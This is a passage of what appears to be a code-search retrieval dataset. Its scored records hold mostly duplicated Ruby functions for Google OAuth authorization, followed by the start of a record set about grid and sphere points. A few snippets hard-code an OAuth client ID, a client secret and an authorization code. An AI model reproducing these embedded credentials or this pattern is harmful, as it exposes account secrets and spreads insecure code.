"score": "0.6406859", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "title": "" }, { "docid": "ec78686387a7f8962a933bba5be1e1d2", "score": "0.6401157", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "title": "" }, { "docid": "ed19f745affeff9ee97af9f4e1334b13", "score": "0.63985556", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "title": "" }, { "docid": "ed19f745affeff9ee97af9f4e1334b13", "score": "0.63985556", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "title": "" }, { "docid": "ed19f745affeff9ee97af9f4e1334b13", "score": "0.63985556", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "title": "" }, { "docid": "6278611229fd9e93b78ba36bcdcb806e", "score": "0.63895446", "text": "def token_acquisition(auth_code)\n token_response = connection.post '/o/oauth2/token', {\n 'code' => auth_code,\n 'client_id' => @client_id,\n 'client_secret' => @client_secret,\n 'redirect_uri' => ENV['GMAIL_AUTHORIZATION_CALLBACK'],\n 'scope' => '',\n 'grant_type' => 'authorization_code'\n }\n\n token_hash = JSON.parse(token_response.body)\n\n user_response = connection.post '/', {\n \n }\n\n\n {\n :access_token => token_hash.fetch(\"access_token\"),\n :refresh_token => token_hash.fetch(\"refresh_token\")\n }\n end", "title": "" }, { "docid": "bdc763c5e727cb396f7bf945805c28a1", "score": "0.63874114", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = \"4/ukRJROfYY-vlgRSidMIqVm3lHOozwtxGjBSFKuVViqQ\"\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "9a4662ca0674d9b96f68abd8c29e5cb3", "score": "0.63550586", "text": "def use_authorization_code!\n new_authentications.first!\n rescue Errors::NoItems => error\n raise Errors::Unauthorized, error.to_param\n end", "title": "" }, { "docid": "ee728b8616f7ba82609f671896c34e72", "score": "0.6343711", "text": "def authorize(user)\n FileUtils.mkdir_p(File.dirname(@CREDENTIALS_PATH))\n client_secrets = Google::APIClient::ClientSecrets.load\n @@client_secrets = ENV['GOOGLE_CALENDAR_SECRET']\n\n @@client_id = Google::Auth::ClientId.from_file(@CLIENT_SECRETS_PATH)\n\n @@token_store = Google::Auth::Stores::FileTokenStore.new(file: @CREDENTIALS_PATH)\n\n @@authorizer = Google::Auth::UserAuthorizer.new(@@client_id, @SCOPE, @@token_store)\n\n user_id = user\n code = gets \n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: @OOB_URI)\n # credentials = @@authorizer.get_credentials(user_id)\n auth_client = client_secrets.to_authorization\nend", "title": "" }, { "docid": "1d3b0210dbe8d47e0f1848953f94fac5", "score": "0.63407874", "text": "def oauth2_request_token_authorization_code\n if request_param(:code).blank?\n return render_response(:error_description => \"Code must be provided\", :error => :invalid_request)\n end\n \n request_token = Tr8n::Oauth::RequestToken.where(\"application_id = ? and token = ? and expires_at > ?\", application.id, request_param(:code), Time.now).first\n unless request_token\n return render_response(:error_description => \"Invalid authorization code\", :error => :invalid_request)\n end\n \n unless request_token.valid_token?\n return render_response(:error_description => \"Authorization code expired\", :error => :invalid_request)\n end\n \n access_token = application.find_or_create_access_token(request_token.translator, request_token.scope) \n refresh_token = application.create_refresh_token(access_token.translator, access_token.scope)\n request_token.destroy\n\n render_response(:access_token => access_token.token, :refresh_token => refresh_token.token, :expires_in => (access_token.expires_at.to_i - Time.now.to_i))\n end", "title": "" }, { "docid": "11b696d56c9c6f34e1174e5b8adc95eb", "score": "0.63217837", "text": "def auth_code\n @client.code\n end", "title": "" }, { "docid": "83dd847b50c02db046c87692439d8a6c", "score": "0.63195443", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id,\n SCOPE,\n token_store\n )\n #var @user_id\n # This field is used in creation of bunch of tokens which\n # are stored in credentials/calendar-ruby-quickstart.yaml\n user_id = 'user_web'\n\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI\n )\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "9e7560ad8364bd30ad47f07f6e42678e", "score": "0.6311928", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, @SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "937c6a883bf9f753fc111acbec66ed8a", "score": "0.63079923", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "f92cfcf2e3c3128e3ad1a5529a675d06", "score": "0.63027734", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "f92cfcf2e3c3128e3ad1a5529a675d06", "score": "0.63027734", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "f92cfcf2e3c3128e3ad1a5529a675d06", "score": "0.63027734", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "f92cfcf2e3c3128e3ad1a5529a675d06", "score": "0.63027734", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "f92cfcf2e3c3128e3ad1a5529a675d06", "score": "0.63027734", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "f92cfcf2e3c3128e3ad1a5529a675d06", "score": "0.63027734", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "f92cfcf2e3c3128e3ad1a5529a675d06", "score": "0.63027734", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "f92cfcf2e3c3128e3ad1a5529a675d06", "score": "0.63027734", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "f92cfcf2e3c3128e3ad1a5529a675d06", "score": "0.63027734", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "f92cfcf2e3c3128e3ad1a5529a675d06", "score": "0.63027734", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "f92cfcf2e3c3128e3ad1a5529a675d06", "score": "0.63027734", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "f92cfcf2e3c3128e3ad1a5529a675d06", "score": "0.63027734", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "e962cc9b6d73d77a3bc5a3dca8ad74eb", "score": "0.62980044", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "975d8aefc5ecab4eba93d8ec47957c2e", "score": "0.6297566", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "f2dbb46a3106e9818fb9ae35e536cb7a", "score": "0.62914366", "text": "def authorize_from_request(code, params = {})\n @auth_token = consumer.auth_code.get_token(code, params).token\n end", "title": "" }, { "docid": "e9c4fd4f5c67118d5f31f64d1b880267", "score": "0.6281652", "text": "def authorize\r\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\r\n\r\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\r\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\r\n authorizer = Google::Auth::UserAuthorizer.new(\r\n client_id, SCOPE, token_store)\r\n user_id = 'default'\r\n credentials = authorizer.get_credentials(user_id)\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url(\r\n base_url: OOB_URI)\r\n puts \"Open the following URL in the browser and enter the \" +\r\n \"resulting code after authorization\"\r\n puts url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI)\r\n end\r\n credentials\r\nend", "title": "" }, { "docid": "3acbb13b7d6f59615559f6d4fc07acf3", "score": "0.62473494", "text": "def authorize\n c_path = CREDENTIALS_NEW_PATH || CREDENTIALS_PATH\n FileUtils.mkdir_p(File.dirname(c_path))\n\n client_id = Google::Auth::ClientId.new(\"745330384534-pvfsvi0gck39vr3ejihb6c0r3j2613lk.apps.googleusercontent.com\", \"JLkTEMukgPiMip2_1A31gVRi\")\n token_store = Google::Auth::Stores::FileTokenStore.new(file: c_path)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n p \"credentialssssssssssss\"\n p credentials\n p \"_____________________\"\n return credentials\nend", "title": "" }, { "docid": "fe415526bccd3fead1574c0f7a4ff40e", "score": "0.62467885", "text": "def authorize(code, options = {})\n access_token = client.authorization.process_callback(code, options)\n self.oauth_token = access_token\n access_token\n end", "title": "" }, { "docid": "9d8e1d00fde0781d377ec24afcfcd8b1", "score": "0.6234685", "text": "def authorize\n\n # Options\n client_id = Google::Auth::ClientId.from_file( @clientSecret )\n token_store = Google::Auth::Stores::FileTokenStore.new( file: @credentials )\n authorizer = Google::Auth::UserAuthorizer.new( client_id, @scope, token_store )\n user_id = \"default\"\n credentials = authorizer.get_credentials( user_id )\n\n if credentials.nil?\n\n # Authorise return URL\n url = authorizer.get_authorization_url( base_url: @oob )\n\n # Output for user to follow\n puts \"Open the following URL in the browser and enter the resulting code after authorization\"\n puts url\n\n # Credentials from code\n credentials = authorizer.get_and_store_credentials_from_code( user_id: user_id, code: gets, base_url: @oob )\n\n end\n\n # Return credentials\n credentials\n\n end", "title": "" }, { "docid": "3c23d23ad3bd22526722d798b60150ac", "score": "0.6209382", "text": "def authorize\n if not params.has_key?(:device_code)\n raise DeviceFlowError.new(\"Required param 'device_code' not present\", :bad_request)\n end\n\n req = OauthDeviceFlowRequest.find_by(device_code: params[:device_code])\n if req.nil?\n raise DeviceFlowError.new(\"Invalid device_code. User may have denied access\", :bad_request)\n end\n\n # check if authorized\n if not req.is_resolved\n raise DeviceFlowError.new(\"authorization_pending\", :bad_request)\n end\n\n if not req.is_granted\n # user decides to deny access, notify app\n req.destroy\n raise DeviceFlowError.new(\"authorization denied by user\", :bad_request)\n end\n\n # user granted access, give client the access code\n access_code = req.access_code\n\n # remove request record, no longer needed\n req.destroy\n\n render :json => {code: access_code}.to_json\n end", "title": "" }, { "docid": "d92d1d3db135c71d08fb95de098c2cd0", "score": "0.6197313", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'wwww'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "e79298d19f21f322cbb44a6147cf3cd0", "score": "0.6188894", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(@@credentials_path)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: @@token_path)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, @@scope, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: @@oob_uri)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: @@oob_uri\n )\n end\n credentials\nend", "title": "" }, { "docid": "2215c351edd4d082b9b75d47c6660f89", "score": "0.6184006", "text": "def authorize\n client_id = $secrets.google_client_id #Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(DEFAULT_USER_ID)\n puts \"#{credentials}\"\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "title": "" }, { "docid": "d827e6a3ea7f9454e246bdc1b0838c0f", "score": "0.61733145", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(credentials_path)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: token_path)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = $stdin.gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "title": "" }, { "docid": "3da2ac9f586b4f7d4f43590be34e50d2", "score": "0.6165432", "text": "def authorize()\n @client.auth_code.authorize_url(redirect_uri: @redirect_uri, scope: 'app')\n end", "title": "" } ]
9796e0bb64d11cdbac6379075a065130
Create a NxN grid of points on a face of the cube. Note that this will generate (N+1)(N+1) points. Each point is projected on the sphere and stored in an array. Note that all these are points on the unit sphere, and so their distance to the origin is 1, and so each point can be used as its own normal.
[ { "docid": "37f9d311bca2659b116405d6c73d6d24", "score": "0.7749322", "text": "def grid(face, n)\n dx = 2.0/n\n dy = 2.0/n\n a = Array.new\n n += 1\n\n n.times do |j|\n y = -1.0 + j*dy\n n.times do |i|\n x = -1.0 + i*dx\n lon, lat = QuadSphere::CSC.inverse(face, x, y)\n sx = Math::cos(lat) * Math::cos(lon)\n sy = Math::cos(lat) * Math::sin(lon)\n sz = Math::sin(lat)\n a << [sx,sy,sz]\n end\n end\n\n a\n end", "title": "" } ]
[ { "docid": "b0376c35e07fb3e8502f610493a1b9e4", "score": "0.5928719", "text": "def generate_points(u_count, v_count)\n points = []\n v_count.times do |iv|\n row = []\n u_count.times do |iu|\n u = map1d(iu, (0..u_count), U_RANGE)\n v = map1d(iv, (0..v_count), V_RANGE)\n # default scale: 50, param: Array.new(12, 1) and mesh_distortion: 0\n row << superformula(u: u, v: v)\n end\n points << row\n end\n points\nend", "title": "" }, { "docid": "d8d863a008cfc8d4fec97a379a777227", "score": "0.570356", "text": "def generate_grid\n grid = []\n @y.times do\n row = []\n @x.times do\n row << nil\n end\n grid << row\n end\n grid\n end", "title": "" }, { "docid": "8af5a4409e6d4e20cb979aa16192d06f", "score": "0.56557053", "text": "def grid(n, m)\n arr = Array.new(n) { Array.new(m, :N) }\n arr\nend", "title": "" }, { "docid": "2bcf7b6492b4cb22e199996ffc03fff1", "score": "0.56169516", "text": "def vertices\n [\n pos,\n Vertex.new(pos.x, pos.y + dims.y, pos.z),\n Vertex.new(pos.x + dims.x, pos.y + dims.y, pos.z),\n Vertex.new(pos.x + dims.x, pos.y, pos.z),\n Vertex.new(pos.x, pos.y, pos.z + dims.z),\n Vertex.new(pos.x, pos.y + dims.y, pos.z + dims.z),\n Vertex.new(pos.x + dims.x, pos.y, pos.z + dims.z),\n Vertex.new(pos.x + dims.x, pos.y + dims.y, pos.z + dims.z)\n ]\n end", "title": "" }, { "docid": "37b5204999327266357d3af51209b51e", "score": "0.56094754", "text": "def grid(n, m)\n Array.new(n) { Array.new(n) } # If you attempted to write this as Array.new(n, Array.new(m)) the contents would be repeated for each array rather\nend", "title": "" }, { "docid": "06add30178dee97ac81ec2169e308b5c", "score": "0.5591064", "text": "def generate_coordinates\n coordinates = []\n (0..@column_count - 1).to_a.each do |i|\n (0..@row_count - 1).to_a.each do |j|\n coordinates << {x: i, y: j, z: 0}\n end\n end\n coordinates\n end", "title": "" }, { "docid": 